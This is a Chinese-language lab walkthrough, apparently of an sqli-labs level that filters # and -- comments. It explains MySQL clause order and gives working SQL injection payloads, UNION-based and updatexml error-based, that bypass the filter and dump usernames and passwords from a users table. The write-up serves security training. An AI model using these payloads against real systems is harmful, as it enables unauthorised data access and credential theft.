又回到get类型了,输入?id=1'
只有加单引号的报错,尝试以前的方法都行不通,肯定有了新花样,查看源码。
了解一下preg_replace()函数
preg_replace(pattern,replacement,subject)
pattern:要搜索的模式,可以是字符串或字符数组。
replacement:用于替换的字符串或字符数组。
subject:要搜索替换的目标字符串或字符数组。
在这关中,也只是将#和–替换成了空字符,相当于#和–被过滤了。
尝试注入点,单引号报错
开始尝试用单引号闭合注入
?id=1' order by 4 and '1'='1
语句没有报错,在后台数据库查询寻找原因。select * from users where id=1 order by '4';
没有报错,因为加了引号,数据库不会执行该语句,因为order by 后面的字段不能加引号。
再输入select * from users where id=1 order by 4 and '1'='1';
也没有报错
order by 在where条件中,在where执行时被忽略了,所以没有报错。
再输入select *from users where id='1' and '1'='1' order by 4;
报错,
在MySQL执行顺序中,where远在order by前。最后一句报错,因为and ‘1’=’1’是where的条件,先执行,得到结果集,然后执行order by 报错。
因为where和order by 都是子句,and是操作符,用于where子句。
所以这关不能用order by 判断字段数。直接用联合注入:
`?id=1' union select 1,2,3 and '1'='1`这里用and 或or是一样的,它作为第二个select语句条件,sql1 union sql2 union查询必须保证查询字段数量一致,否则报错。
当union select 1,2,3为真时,得到数据,为假时报错。
把1改成-1,使原查询左边为空,使我们定义的查询结果返回。
在字段3注入会出现问题,返回值为0
页面的1不是select1,2,3中的1,原因是or ‘1’=’1是作为字段3逻辑操作符,为永真条件,返回1,and则为错误,所以返回为0,故不能在字段3注入。
侧面说明or优先级别高于select
2为唯一注入点了,接下来都差不多了。
爆数据的时候记得,不能直接from users ,因为from 和 and 是不能连在一起的
添加在from后面加where 1即可
补充另外一种方法
因为select 1=select '1'
所以可以直接在字段3后单引号闭合。
`?id=-1' union select 1,(select group_concat(concat(username,password))from users),'3`
还有,联合查询中还能加报错语句。
`?id=1' union select 1 ,(updatexml(1,concat(0x7c,(select concat(username,password) from users limit 0,1)),1)),'3`
一般不会这样,有时候不知道哪个字段有回显,而且回报的数据还会被限制长度,还不如直接联合查询注入。